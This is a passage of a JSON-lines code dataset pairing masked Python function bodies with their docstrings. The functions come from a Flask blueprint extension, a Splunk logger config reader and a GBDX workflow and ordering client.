'<STR_LIT>' if default == '<STR_LIT:->' else default<EOL>parser.add_argument(short, long, type=types[typ], default=default, help=info)<EOL><DEDENT><DEDENT>except ArgumentError:<EOL><INDENT>if not ignore_existing:<EOL><INDENT>raise<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>print(e.__class__.__name__ + '<STR_LIT>' + str(e))<EOL>print('<STR_LIT>')<EOL>print(descriptor)<EOL>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>", "docstring": "Add arguments described in the usage string to the\nparser. View more details at the <create_parser> docs\n\nArgs:\n    parser (ArgumentParser): parser to add arguments to\n    usage (str): Usage string in the format described above\n    ignore_existing (bool): Ignore any arguments that have already been defined", "id": "f7009:m1"}
{"signature": "def init_app(self, app):", "body": "if len(self._attached_bundles) == <NUM_LIT:0>:<EOL><INDENT>raise NoBundlesAttached(\"<STR_LIT>\")<EOL><DEDENT>for bundle in self._attached_bundles:<EOL><INDENT>processed_bundle = {<EOL>'<STR_LIT:path>': bundle.path,<EOL>'<STR_LIT:description>': bundle.description,<EOL>'<STR_LIT>': []<EOL>}<EOL>for (bp, description) in bundle.blueprints:<EOL><INDENT>blueprint = self._register_blueprint(app, bp, bundle.path,<EOL>self.get_bp_path(bp), description)<EOL>processed_bundle['<STR_LIT>'].append(blueprint)<EOL><DEDENT>self._registered_bundles.append(processed_bundle)<EOL><DEDENT>", "docstring": "Initializes Journey extension\n\n        :param app: App passed from constructor or directly to init_app\n        :raises:\n            - NoBundlesAttached if no bundles has been attached attached", "id": "f7016:c0:m1"}
{"signature": "@property<EOL><INDENT>def routes_detailed(self):<DEDENT>", "body": "return self._registered_bundles<EOL>", "docstring": "Returns a detailed list of bundles along with blueprints and routes\n\n        :return: List of blueprint routes", "id": "f7016:c0:m2"}
{"signature": "@property<EOL><INDENT>def routes_simple(self):<DEDENT>", "body": "routes = []<EOL>for bundle in self._registered_bundles:<EOL><INDENT>bundle_path = bundle['<STR_LIT:path>']<EOL>for blueprint in bundle['<STR_LIT>']:<EOL><INDENT>bp_path = blueprint['<STR_LIT:path>']<EOL>for child in blueprint['<STR_LIT>']:<EOL><INDENT>routes.append(<EOL>(<EOL>child['<STR_LIT>'],<EOL>bundle_path + bp_path + child['<STR_LIT:path>'],<EOL>child['<STR_LIT>']<EOL>)<EOL>)<EOL><DEDENT><DEDENT><DEDENT>return routes<EOL>", "docstring": "Returns simple info about registered blueprints\n\n        :return: Tuple containing endpoint, path and allowed methods for each route", "id": "f7016:c0:m3"}
{"signature": "def _bundle_exists(self, path):", "body": "for attached_bundle in self._attached_bundles:<EOL><INDENT>if path == attached_bundle.path:<EOL><INDENT>return True<EOL><DEDENT><DEDENT>return False<EOL>", "docstring": "Checks if a bundle exists at the provided path\n\n        :param path: Bundle path\n        :return: bool", "id": "f7016:c0:m4"}
{"signature": "def attach_bundle(self, bundle):", "body": "if not isinstance(bundle, BlueprintBundle):<EOL><INDENT>raise IncompatibleBundle('<STR_LIT>'<EOL>.format(BlueprintBundle))<EOL><DEDENT>elif len(bundle.blueprints) == <NUM_LIT:0>:<EOL><INDENT>raise MissingBlueprints(\"<STR_LIT>\")<EOL><DEDENT>elif self._bundle_exists(bundle.path):<EOL><INDENT>raise ConflictingPath(\"<STR_LIT>\".format(bundle.path))<EOL><DEDENT>elif self._journey_path == bundle.path == '<STR_LIT:/>':<EOL><INDENT>raise ConflictingPath(\"<STR_LIT>\".format(bundle.path))<EOL><DEDENT>self._attached_bundles.append(bundle)<EOL>", "docstring": "Attaches a bundle object\n\n        :param bundle: :class:`flask_journey.BlueprintBundle` object\n        :raises:\n            - IncompatibleBundle if the bundle is not of type `BlueprintBundle`\n            - ConflictingPath if a bundle already exists at bundle.path\n            - MissingBlueprints if the bundle doesn't contain any blueprints", "id": "f7016:c0:m5"}
{"signature": "def _register_blueprint(self, app, bp, bundle_path, child_path, description):", "body": "base_path = sanitize_path(self._journey_path + bundle_path + child_path)<EOL>app.register_blueprint(bp, url_prefix=base_path)<EOL>return {<EOL>'<STR_LIT:name>': bp.name,<EOL>'<STR_LIT:path>': child_path,<EOL>'<STR_LIT>': bp.import_name,<EOL>'<STR_LIT:description>': description,<EOL>'<STR_LIT>': self.get_blueprint_routes(app, base_path)<EOL>}<EOL>", "docstring": "Register and return info about the registered blueprint\n\n        :param bp: :class:`flask.Blueprint` object\n        :param bundle_path: the URL prefix of the bundle\n        :param child_path: blueprint relative to the bundle path\n        :return: Dict with info about the blueprint", "id": "f7016:c0:m6"}
{"signature": "@staticmethod<EOL><INDENT>def get_bp_path(bp):<DEDENT>", "body": "return bp.url_prefix or '<STR_LIT:/>' + bp.name<EOL>", "docstring": "Returns url_prefix if set, otherwise bp.name prefixed with a slash.\n\n        :param bp: :class:`flask.Blueprint` object\n        :return: blueprint name", "id": "f7016:c0:m7"}
{"signature": "@staticmethod<EOL><INDENT>def get_blueprint_routes(app, base_path):<DEDENT>", "body": "routes = []<EOL>for child in app.url_map.iter_rules():<EOL><INDENT>if child.rule.startswith(base_path):<EOL><INDENT>relative_path = child.rule[len(base_path):]<EOL>routes.append({<EOL>'<STR_LIT:path>': relative_path,<EOL>'<STR_LIT>': child.endpoint,<EOL>'<STR_LIT>': list(child.methods)<EOL>})<EOL><DEDENT><DEDENT>return routes<EOL>", "docstring": "Returns detailed information about registered blueprint routes matching the `BlueprintBundle` path\n\n        :param app: App instance to obtain rules from\n        :param base_path: Base path to return detailed route info for\n        :return: List of route detail dicts", "id": "f7016:c0:m8"}
{"signature": "def attach_bp(self, bp, description='<STR_LIT>'):", "body": "if not isinstance(bp, Blueprint):<EOL><INDENT>raise InvalidBlueprint('<STR_LIT>'.format(Blueprint))<EOL><DEDENT>self.blueprints.append((bp, description))<EOL>", "docstring": "Attaches a flask.Blueprint to the bundle\n\n        :param bp: :class:`flask.Blueprint` object\n        :param description: Optional description string\n        :raises:\n            - InvalidBlueprint if the Blueprint is not of type `flask.Blueprint`", "id": "f7017:c0:m1"}
{"signature": "def sanitize_path(path):", "body": "if path == '<STR_LIT:/>':  <EOL><INDENT>return path<EOL><DEDENT>if path[:<NUM_LIT:1>] != '<STR_LIT:/>':<EOL><INDENT>raise InvalidPath('<STR_LIT>')<EOL><DEDENT>path = re.sub(r'<STR_LIT>', '<STR_LIT:/>', path)<EOL>return path.rstrip('<STR_LIT:/>')<EOL>", "docstring": "Performs sanitation of the path after validating\n\n    :param path: path to sanitize\n    :return: path\n    :raises:\n        - InvalidPath if the path doesn't start with a slash", "id": "f7019:m0"}
{"signature": "def _validate_schema(obj):", "body": "if obj is not None and not isinstance(obj, Schema):<EOL><INDENT>raise IncompatibleSchema('<STR_LIT>'.format(Schema))<EOL><DEDENT>return obj<EOL>", "docstring": "Ensures the passed schema instance is compatible\n\n    :param obj: object to validate\n    :return: obj\n    :raises:\n        - IncompatibleSchema if the passed schema is of an incompatible type", "id": "f7019:m1"}
{"signature": "def route(bp, *args, **kwargs):", "body": "kwargs['<STR_LIT>'] = kwargs.pop('<STR_LIT>', False)<EOL>body = _validate_schema(kwargs.pop('<STR_LIT>', None))<EOL>query = _validate_schema(kwargs.pop('<STR_LIT>', None))<EOL>output = _validate_schema(kwargs.pop('<STR_LIT>', None))<EOL>validate = kwargs.pop('<STR_LIT>', True)<EOL>def decorator(f):<EOL><INDENT>@bp.route(*args, **kwargs)<EOL>@wraps(f)<EOL>def wrapper(*inner_args, **inner_kwargs):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>try:<EOL><INDENT>if query is not None:<EOL><INDENT>query.strict = validate<EOL>url = furl(request.url)<EOL>inner_kwargs['<STR_LIT>'] = query.load(data=url.args)<EOL><DEDENT>if body is not None:<EOL><INDENT>body.strict = validate<EOL>json_data = request.get_json()<EOL>if json_data is None:<EOL><INDENT>json_data = {}<EOL><DEDENT>inner_kwargs['<STR_LIT>'] = body.load(data=json_data)<EOL><DEDENT><DEDENT>except ValidationError as err:<EOL><INDENT>return jsonify(err.messages), <NUM_LIT><EOL><DEDENT>if output:<EOL><INDENT>data = output.dump(f(*inner_args, **inner_kwargs))<EOL>return jsonify(data[<NUM_LIT:0>])<EOL><DEDENT>return f(*inner_args, **inner_kwargs)<EOL><DEDENT>return f<EOL><DEDENT>return decorator<EOL>", "docstring": "Journey route decorator\n\n    Enables simple serialization, deserialization and validation of Flask routes with the help of Marshmallow.\n\n    :param bp: :class:`flask.Blueprint` object\n    :param args: args to pass along to `Blueprint.route`\n    :param kwargs:\n        - :strict_slashes: Enable / disable strict slashes (default False)\n        - :validate: Enable / disable body/query validation (default True)\n        - :_query: Unmarshal Query string into this schema\n        - :_body: Unmarshal JSON body into this schema\n        - :marshal_with: Serialize the output with this schema\n    :raises:\n        - ValidationError if the query parameters or JSON body fails validation", "id": "f7019:m2"}
{"signature": "def get_version():", "body": "with io.open('<STR_LIT>') as input_file:<EOL><INDENT>for line in input_file:<EOL><INDENT>if line.startswith('<STR_LIT>'):<EOL><INDENT>return ast.parse(line).body[<NUM_LIT:0>].value.s<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Parses main module and fetches version attribute from the syntax tree\n\n    :return: flask-journey version", "id": "f7037:m0"}
{"signature": "def _compress(self, input_str):", "body": "compressed_bits = cStringIO.StringIO()<EOL>f = gzip.GzipFile(fileobj=compressed_bits, mode='<STR_LIT:wb>')<EOL>f.write(input_str)<EOL>f.close()<EOL>return compressed_bits.getvalue()<EOL>", "docstring": "Compress the log message in order to send less bytes to the wire.", "id": "f7041:c0:m4"}
{"signature": "def parse_config_file():", "body": "for filename in ('<STR_LIT>', os.path.expanduser('<STR_LIT>')):<EOL><INDENT>project_id, access_token, api_domain = _parse_config_file_impl(filename)<EOL>if project_id is not Noneand access_token is not Noneand api_domain is not None:<EOL><INDENT>return project_id, access_token, api_domain<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return None, None, None<EOL><DEDENT>", "docstring": "Find the .splunk_logger config file in the current directory, or in the\nuser's home and parse it. The one in the current directory has precedence.\n\n:return: A tuple with:\n            - project_id\n            - access_token", "id": "f7043:m0"}
{"signature": "def _parse_config_file_impl(filename):", "body": "try:<EOL><INDENT>doc = yaml.load(file(filename).read())<EOL>project_id = doc[\"<STR_LIT>\"][\"<STR_LIT>\"]<EOL>access_token = doc[\"<STR_LIT>\"][\"<STR_LIT>\"]<EOL>api_domain = doc[\"<STR_LIT>\"][\"<STR_LIT>\"]<EOL>return project_id, access_token, api_domain<EOL><DEDENT>except:<EOL><INDENT>return None, None, None<EOL><DEDENT>", "docstring": "Format for the file is:\n\n     credentials:\n         project_id: ...\n         access_token: ...\n         api_domain: ...\n\n:param filename: The filename to parse\n:return: A tuple with:\n            - project_id\n            - access_token\n            - api_domain", "id": "f7043:m1"}
{"signature": "def _encode_params(**kwargs):", "body": "args = []<EOL>for k, v in kwargs.iteritems():<EOL><INDENT>if isinstance(v, basestring):<EOL><INDENT>qv = v.encode('<STR_LIT:utf-8>') if isinstance(v, unicode) else v<EOL>args.append('<STR_LIT>' % (k, urllib.quote(qv, SAFE_URL_CARS)))<EOL><DEDENT>elif isinstance(v, collections.Iterable):<EOL><INDENT>for i in v:<EOL><INDENT>qv = i.encode('<STR_LIT:utf-8>') if isinstance(i, unicode) else str(i)<EOL>args.append('<STR_LIT>' % (k, urllib.quote(qv, SAFE_URL_CARS)))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>qv = str(v)<EOL>args.append('<STR_LIT>' % (k, urllib.quote(qv, SAFE_URL_CARS)))<EOL><DEDENT><DEDENT>return '<STR_LIT:&>'.join(args)<EOL>", "docstring": "Do url-encode parameters\n\n>>> _encode_params(a=1, b='R&D')\n'a=1&b=R%26D'\n>>> _encode_params(a=u'\\u4e2d\\u6587', b=['A', 'B', 123])\n'a=%E4%B8%AD%E6%96%87&b=A&b=B&b=123'", "id": "f7049:m0"}
{"signature": "def _encode_ids(*args):", "body": "ids = []<EOL>for v in args:<EOL><INDENT>if isinstance(v, basestring):<EOL><INDENT>qv = v.encode('<STR_LIT:utf-8>') if isinstance(v, unicode) else v<EOL>ids.append(urllib.quote(qv))<EOL><DEDENT>else:<EOL><INDENT>qv = str(v)<EOL>ids.append(urllib.quote(qv))<EOL><DEDENT><DEDENT>return '<STR_LIT:;>'.join(ids)<EOL>", "docstring": "Do url-encode resource ids", "id": "f7049:m1"}
{"signature": "def ingest_vectors(self, output_port_value):", "body": "<EOL>ingest_task = Task('<STR_LIT>')<EOL>ingest_task.inputs.items = output_port_value<EOL>ingest_task.impersonation_allowed = True<EOL>stage_task = Task('<STR_LIT>')<EOL>stage_task.inputs.destination = '<STR_LIT>'<EOL>stage_task.inputs.data = ingest_task.outputs.result.value<EOL>self.definition['<STR_LIT>'].append(ingest_task.generate_task_workflow_json())<EOL>self.definition['<STR_LIT>'].append(stage_task.generate_task_workflow_json())<EOL>", "docstring": "append two required tasks to the given output to ingest to VS", "id": "f7050:c2:m21"}
{"signature": "def __init__(self, **kwargs):", "body": "interface = Auth(**kwargs)<EOL>self.base_url = '<STR_LIT>'<EOL>self.gbdx_connection = interface.gbdx_connection<EOL>self.logger = interface.logger<EOL>", "docstring": "Construct an instance of an AnswerFactory Recipe\n\nArgs:\n    **kwargs\n\nReturns:\n    An instance of a Recipe.", "id": "f7051:c0:m0"}
{"signature": "def get(self, recipe_id):", "body": "self.logger.debug('<STR_LIT>' + recipe_id)<EOL>url = '<STR_LIT>' % {<EOL>'<STR_LIT>': self.base_url, '<STR_LIT>': recipe_id<EOL>}<EOL>r = self.gbdx_connection.get(url)<EOL>r.raise_for_status()<EOL>return r.json()<EOL>", "docstring": "Retrieves an AnswerFactory Recipe by id\n\nArgs:\n    recipe_id The id of the recipe\n\nReturns:\n    A JSON representation of the recipe", "id": "f7051:c0:m1"}
{"signature": "def list(self):", "body": "self.logger.debug('<STR_LIT>')<EOL>url = '<STR_LIT>' % {<EOL>'<STR_LIT>': self.base_url<EOL>}<EOL>r = self.gbdx_connection.get(url)<EOL>r.raise_for_status()<EOL>return r.json()<EOL>", "docstring": "Retrieves a list of AnswerFactory Recipes\n\nArgs:\n    None\n\nReturns:\n    A list of JSON representations of recipes", "id": "f7051:c0:m2"}
{"signature": "def save(self, recipe):", "body": "<EOL>if '<STR_LIT:id>' in recipe and recipe['<STR_LIT:id>'] is not None:<EOL><INDENT>self.logger.debug(\"<STR_LIT>\" + json.dumps(recipe))<EOL>url = '<STR_LIT>' % {<EOL>'<STR_LIT>': self.base_url, '<STR_LIT>': recipe['<STR_LIT:id>']<EOL>}<EOL>r = self.gbdx_connection.put(url, json=recipe)<EOL>try:<EOL><INDENT>r.raise_for_status()<EOL><DEDENT>except:<EOL><INDENT>print(r.text)<EOL>raise<EOL><DEDENT>return recipe['<STR_LIT:id>']<EOL><DEDENT>else:<EOL><INDENT>self.logger.debug(\"<STR_LIT>\" + json.dumps(recipe))<EOL>url = '<STR_LIT>' % {<EOL>'<STR_LIT>': self.base_url<EOL>}<EOL>r = self.gbdx_connection.post(url, json=recipe)<EOL>try:<EOL><INDENT>r.raise_for_status()<EOL><DEDENT>except:<EOL><INDENT>print(r.text)<EOL>raise<EOL><DEDENT>recipe_json = r.json()<EOL>return recipe_json['<STR_LIT:id>']<EOL><DEDENT>", "docstring": "Saves an AnswerFactory Recipe\n\nArgs:\n    recipe (dict): Dictionary specifying a recipe\n\nReturns:\n    AnswerFactory Recipe id", "id": "f7051:c0:m3"}
{"signature": "def delete(self, recipe_id):", "body": "self.logger.debug('<STR_LIT>' + recipe_id)<EOL>url = '<STR_LIT>' % {<EOL>'<STR_LIT>': self.base_url, '<STR_LIT>': recipe_id<EOL>}<EOL>r = self.gbdx_connection.delete(url)<EOL>r.raise_for_status()<EOL>", "docstring": "Deletes an AnswerFactory Recipe by id\n\nArgs:\n     recipe_id: The id of the recipe to delete\n\nReturns:\n     Nothing", "id": "f7051:c0:m4"}
{"signature": "def __init__(self, **kwargs):", "body": "interface = Auth(**kwargs)<EOL>self.base_url = '<STR_LIT>'<EOL>self.gbdx_connection = interface.gbdx_connection<EOL>self.logger = interface.logger<EOL>", "docstring": "Construct an instance of an AnswerFactory Project\n\nArgs:\n    **kwargs\n\nReturns:\n    An instance of a Project.", "id": "f7051:c1:m0"}
{"signature": "def get(self, project_id):", "body": "self.logger.debug('<STR_LIT>' + project_id)<EOL>url = '<STR_LIT>' % {<EOL>'<STR_LIT>': self.base_url, '<STR_LIT>': project_id<EOL>}<EOL>r = self.gbdx_connection.get(url)<EOL>r.raise_for_status()<EOL>return r.json()<EOL>", "docstring": "Retrieves an AnswerFactory Project by id\n\nArgs:\n    project_id\n\nReturns:\n    A JSON representation of the project", "id": "f7051:c1:m1"}
{"signature": "def save(self, project):", "body": "<EOL>if '<STR_LIT:id>' in project and project['<STR_LIT:id>'] is not None:<EOL><INDENT>self.logger.debug('<STR_LIT>' + json.dumps(project))<EOL>url = '<STR_LIT>' % {<EOL>'<STR_LIT>': self.base_url, '<STR_LIT>': project['<STR_LIT:id>']<EOL>}<EOL>r = self.gbdx_connection.put(url, json=project)<EOL>try:<EOL><INDENT>r.raise_for_status()<EOL><DEDENT>except:<EOL><INDENT>print(r.text)<EOL>raise<EOL><DEDENT>return project['<STR_LIT:id>']<EOL><DEDENT>else:<EOL><INDENT>self.logger.debug('<STR_LIT>' + json.dumps(project))<EOL>url = self.base_url<EOL>r = self.gbdx_connection.post(url, json=project)<EOL>try:<EOL><INDENT>r.raise_for_status()<EOL><DEDENT>except:<EOL><INDENT>print(r.text)<EOL>raise<EOL><DEDENT>project_json = r.json()<EOL>return project_json['<STR_LIT:id>']<EOL><DEDENT>", "docstring": "Saves an AnswerFactory Project\n\nArgs:\n    project (dict): Dictionary specifying an AnswerFactory Project.\n\nReturns:\n    AnswerFactory Project id", "id": "f7051:c1:m2"}
{"signature": "def delete(self, project_id):", "body": "self.logger.debug('<STR_LIT>' + project_id)<EOL>url = '<STR_LIT>' % {<EOL>'<STR_LIT>': self.base_url, '<STR_LIT>': project_id<EOL>}<EOL>r = self.gbdx_connection.delete(url)<EOL>r.raise_for_status()<EOL>", "docstring": "Deletes a project by id\n\nArgs:\n     project_id: The project id to delete\n\nReturns:\n     Nothing", "id": "f7051:c1:m3"}
{"signature": "def __init__(self, **kwargs):", "body": "interface = Auth(**kwargs)<EOL>self.base_url = '<STR_LIT>' % interface.root_url<EOL>self.workflows_url = '<STR_LIT>' % self.base_url<EOL>self.gbdx_connection = interface.gbdx_connection<EOL>self.s3 = S3()<EOL>self.logger = interface.logger<EOL>", "docstring": "Construct the Workflow instance\n\n        Returns:\n            An instance of the Workflow class.", "id": "f7052:c0:m0"}
{"signature": "def launch(self, workflow):", "body": "<EOL>try:<EOL><INDENT>r = self.gbdx_connection.post(self.workflows_url, json=workflow)<EOL>try:<EOL><INDENT>r.raise_for_status()<EOL><DEDENT>except:<EOL><INDENT>print(\"<STR_LIT>\" % r.status_code)<EOL>print(\"<STR_LIT>\" % r.text)<EOL>r.raise_for_status()<EOL><DEDENT>workflow_id = r.json()['<STR_LIT:id>']<EOL>return workflow_id<EOL><DEDENT>except TypeError:<EOL><INDENT>self.logger.debug('<STR_LIT>')<EOL><DEDENT>", "docstring": "Launches GBDX workflow.\n\n        Args:\n            workflow (dict): Dictionary specifying workflow tasks.\n\n        Returns:\n            Workflow id (str).", "id": "f7052:c0:m1"}
{"signature": "def status(self, workflow_id):", "body": "self.logger.debug('<STR_LIT>' + workflow_id)<EOL>url = '<STR_LIT>' % {<EOL>'<STR_LIT>': self.workflows_url, '<STR_LIT>': workflow_id<EOL>}<EOL>r = self.gbdx_connection.get(url)<EOL>r.raise_for_status()<EOL>return r.json()['<STR_LIT:state>']<EOL>", "docstring": "Checks workflow status.\n\n         Args:\n             workflow_id (str): Workflow id.\n\n         Returns:\n             Workflow status (str).", "id": "f7052:c0:m2"}
{"signature": "def get(self, workflow_id):", "body": "self.logger.debug('<STR_LIT>' + workflow_id)<EOL>url = '<STR_LIT>' % {<EOL>'<STR_LIT>': self.workflows_url, '<STR_LIT>': workflow_id<EOL>}<EOL>r = self.gbdx_connection.get(url)<EOL>r.raise_for_status()<EOL>return r.json()<EOL>", "docstring": "Get existing workflow state and task information.\n\n         Args:\n             workflow_id (str): Workflow id.\n\n         Returns:\n             Workflow object (dict).", "id": "f7052:c0:m3"}
{"signature": "def get_stdout(self, workflow_id, task_id):", "body": "url = '<STR_LIT>' % {<EOL>'<STR_LIT>': self.workflows_url, '<STR_LIT>': workflow_id, '<STR_LIT>': task_id<EOL>}<EOL>r = self.gbdx_connection.get(url)<EOL>r.raise_for_status()<EOL>return r.text<EOL>", "docstring": "Get stdout for a particular task.\n\n         Args:\n             workflow_id (str): Workflow id.\n             task_id (str): Task id.\n\n         Returns:\n             Stdout of the task (string).", "id": "f7052:c0:m4"}
{"signature": "def get_stderr(self, workflow_id, task_id):", "body": "url = '<STR_LIT>' % {<EOL>'<STR_LIT>': self.workflows_url, '<STR_LIT>': workflow_id, '<STR_LIT>': task_id<EOL>}<EOL>r = self.gbdx_connection.get(url)<EOL>r.raise_for_status()<EOL>return r.text<EOL>", "docstring": "Get stderr for a particular task.\n\n         Args:\n             workflow_id (str): Workflow id.\n             task_id (str): Task id.\n\n         Returns:\n             Stderr of the task (string).", "id": "f7052:c0:m5"}
{"signature": "def events(self, workflow_id):", "body": "self.logger.debug('<STR_LIT>' + workflow_id)<EOL>url = '<STR_LIT>' % {<EOL>'<STR_LIT>': self.workflows_url, '<STR_LIT>': workflow_id<EOL>}<EOL>r = self.gbdx_connection.get(url)<EOL>return r.json()['<STR_LIT>']<EOL>", "docstring": "Get workflow events.\n\n         Args:\n             workflow_id (str): Workflow id.\n\n         Returns:\n             List of workflow events.", "id": "f7052:c0:m6"}
{"signature": "def cancel(self, workflow_id):", "body": "self.logger.debug('<STR_LIT>' + workflow_id)<EOL>url = '<STR_LIT>' % {<EOL>'<STR_LIT>': self.workflows_url, '<STR_LIT>': workflow_id<EOL>}<EOL>r = self.gbdx_connection.post(url, data='<STR_LIT>')<EOL>r.raise_for_status()<EOL>", "docstring": "Cancels a running workflow.\n\n           Args:\n               workflow_id (str): Workflow id.\n\n           Returns:\n               Nothing", "id": "f7052:c0:m7"}
{"signature": "def launch_batch_workflow(self, batch_workflow):", "body": "<EOL>url = '<STR_LIT>' % {<EOL>'<STR_LIT>': self.base_url<EOL>}<EOL>try:<EOL><INDENT>r = self.gbdx_connection.post(url, json=batch_workflow)<EOL>batch_workflow_id = r.json()['<STR_LIT>']<EOL>return batch_workflow_id<EOL><DEDENT>except TypeError as e:<EOL><INDENT>self.logger.debug('<STR_LIT>'.format(e))<EOL><DEDENT>", "docstring": "Launches GBDX batch workflow.\n\n        Args:\n            batch_workflow (dict): Dictionary specifying batch workflow tasks.\n\n        Returns:\n            Batch Workflow id (str).", "id": "f7052:c0:m8"}
{"signature": "def batch_workflow_status(self, batch_workflow_id):", "body": "self.logger.debug('<STR_LIT>' + batch_workflow_id)<EOL>url = '<STR_LIT>' % {<EOL>'<STR_LIT>': self.base_url, '<STR_LIT>': batch_workflow_id<EOL>}<EOL>r = self.gbdx_connection.get(url)<EOL>return r.json()<EOL>", "docstring": "Checks GBDX batch workflow status.\n\n         Args:\n             batch workflow_id (str): Batch workflow id.\n\n         Returns:\n             Batch Workflow status (str).", "id": "f7052:c0:m9"}
{"signature": "def batch_workflow_cancel(self, batch_workflow_id):", "body": "self.logger.debug('<STR_LIT>' + batch_workflow_id)<EOL>url = '<STR_LIT>' % {<EOL>'<STR_LIT>': self.base_url, '<STR_LIT>': batch_workflow_id<EOL>}<EOL>r = self.gbdx_connection.post(url)<EOL>return r.json()<EOL>", "docstring": "Cancels GBDX batch workflow.\n\n         Args:\n             batch workflow_id (str): Batch workflow id.\n\n         Returns:\n             Batch Workflow status (str).", "id": "f7052:c0:m10"}
{"signature": "def search(self, lookback_h=<NUM_LIT:12>, owner=None, state=\"<STR_LIT:all>\"):", "body": "postdata = {<EOL>\"<STR_LIT>\": lookback_h,<EOL>\"<STR_LIT:state>\": state<EOL>}<EOL>if owner is not None:<EOL><INDENT>postdata['<STR_LIT>'] = owner<EOL><DEDENT>url = \"<STR_LIT>\".format(self.base_url)<EOL>headers = {'<STR_LIT:Content-Type>':'<STR_LIT:application/json>'}<EOL>r = self.gbdx_connection.post(url, headers=headers, data=json.dumps(postdata))<EOL>return r.json()<EOL>", "docstring": "Cancels GBDX batch workflow.\n\n         Params:\n            lookback_h (int): Look back time in hours.\n            owner (str): Workflow owner to search by\n            state (str): State to filter by, eg:\n                \"submitted\",\n                \"scheduled\",\n                \"started\",\n                \"canceled\",\n                \"cancelling\",\n                \"failed\",\n                \"succeeded\",\n                \"timedout\",\n                \"pending\",\n                \"running\",\n                \"complete\",\n                \"waiting\",\n                \"all\"\n\n         Returns:\n             Batch Workflow status (str).", "id": "f7052:c0:m11"}
{"signature": "def __init__(self, **kwargs):", "body": "interface = Auth(**kwargs)<EOL>self.base_url = '<STR_LIT>' % interface.root_url<EOL>self.gbdx_connection = interface.gbdx_connection<EOL>self.logger = interface.logger<EOL>", "docstring": "Instantiate the GBDX Ordering Interface\n\n           Returns:\n               An instance of the Ordering interface.", "id": "f7053:c0:m0"}
{"signature": "def order(self, image_catalog_ids, batch_size=<NUM_LIT:100>, callback=None):", "body": "def _order_single_batch(url_, ids, results_list):<EOL><INDENT>data = json.dumps(ids) if callback is None else json.dumps({\"<STR_LIT>\": ids, \"<STR_LIT>\": callback})<EOL>r = self.gbdx_connection.post(url_, data=data)<EOL>r.raise_for_status()<EOL>order_id = r.json().get(\"<STR_LIT>\")<EOL>if order_id:<EOL><INDENT>results_list.append(order_id)<EOL><DEDENT><DEDENT>self.logger.debug('<STR_LIT>')<EOL>url = ('<STR_LIT>' if callback is None else '<STR_LIT>') % self.base_url<EOL>batch_size = min(<NUM_LIT:100>, batch_size)<EOL>if not isinstance(image_catalog_ids, list):<EOL><INDENT>image_catalog_ids = [image_catalog_ids]<EOL><DEDENT>sanitized_ids = list(set((id for id in (_id.strip() for _id in image_catalog_ids) if id)))<EOL>res = []<EOL>acq_ids_by_batch = zip(*([iter(sanitized_ids)] * batch_size))<EOL>for ids_batch in acq_ids_by_batch:<EOL><INDENT>_order_single_batch(url, ids_batch, res)<EOL><DEDENT>remain_count = len(sanitized_ids) % batch_size<EOL>if remain_count > <NUM_LIT:0>:<EOL><INDENT>_order_single_batch(url, sanitized_ids[-remain_count:], res)<EOL><DEDENT>if len(res) == <NUM_LIT:1>:<EOL><INDENT>return res[<NUM_LIT:0>]<EOL><DEDENT>elif len(res)><NUM_LIT:1>:<EOL><INDENT>return res<EOL><DEDENT>", "docstring": "Orders images from GBDX.\n\n           Args:\n               image_catalog_ids (str or list): A single catalog id or a list of \n                                                catalog ids.\n               batch_size (int): The image_catalog_ids will be split into \n                                 batches of batch_size. The ordering API max \n                                 batch size is 100, if batch_size is greater \n                                 than 100 it will be truncated.\n               callback (str): A url to call when ordering is completed.\n\n           Returns:\n               order_ids (str or list): If one batch, returns a string. If more\n                                        than one batch, returns a list of order ids, \n                                        one for each batch.", "id": "f7053:c0:m1"}
{"signature": "def status(self, order_id):", "body": "self.logger.debug('<STR_LIT>' + order_id)<EOL>url = '<STR_LIT>' % {<EOL>'<STR_LIT>': self.base_url, '<STR_LIT>': order_id<EOL>}<EOL>r = self.gbdx_connection.get(url)<EOL>r.raise_for_status()<EOL>return r.json().get(\"<STR_LIT>\", {})<EOL>", "docstring": "Checks imagery order status. There can be more than one image per\n           order and this function returns the status of all images\n           within the order.\n\n           Args:\n               order_id (str): The id of the order placed.\n\n           Returns:\n               List of dictionaries, one per image. Each dictionary consists\n               of the keys 'acquisition_id', 'location' and 'state'.", "id": "f7053:c0:m2"}
{"signature": "def heartbeat(self):", "body": "url = '<STR_LIT>' % self.base_url<EOL>r = requests.get(url) <EOL>try:<EOL><INDENT>return r.json() == \"<STR_LIT>\"<EOL><DEDENT>except:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Check the heartbeat of the ordering API\n\nArgs: None\n\nReturns:  True or False", "id": "f7053:c0:m3"}
{"signature": "def __getitem__(self, key):", "body": "value = self._vals[key]<EOL>if key not in self._ports:<EOL><INDENT>self._ports[key] = self._port_template(key, required=True)<EOL><DEDENT>return value<EOL>", "docstring": ">>> inputs = InputPorts()\n>>> inputs[\"nonexistent\"]\nTraceback (most recent call last):\n...\nKeyError: 'nonexistent'\n>>> inputs._vals[\"nonexistent\"] = 0\n>>> inputs[\"nonexistent\"]\n0\n>>> assert \"nonexistent\" in inputs._ports", "id": "f7054:c0:m2"}
{"signature": "def get(self, key, default=None):", "body": "if key not in self._ports:<EOL><INDENT>self._ports[key] = self._port_template(key)<EOL><DEDENT>return self._vals.get(key, default)<EOL>", "docstring": ">>> inputs = InputPorts({\"one\": 1})\n>>> \"one\" in inputs._ports\nTrue\n>>> \"one\" in inputs._vals\nTrue\n>>> inputs.get(\"one\", 2) == 1\nTrue\n>>> inputs.get(\"two\", 2) == 2\nTrue\n>>> \"two\" in inputs._ports\nTrue\n>>> \"two\" in inputs._vals\nFalse", "id": "f7054:c0:m5"}
{"signature": "def get_proj(prj_code):", "body": "if prj_code in CUSTOM_PRJ:<EOL><INDENT>proj = pyproj.Proj(CUSTOM_PRJ[prj_code])<EOL><DEDENT>else:<EOL><INDENT>proj = pyproj.Proj(init=prj_code)<EOL><DEDENT>return proj<EOL>", "docstring": "Helper method for handling projection codes that are unknown to pyproj\n\nArgs:\n    prj_code (str): an epsg proj code\n\nReturns:\n    projection: a pyproj projection", "id": "f7055:m0"}
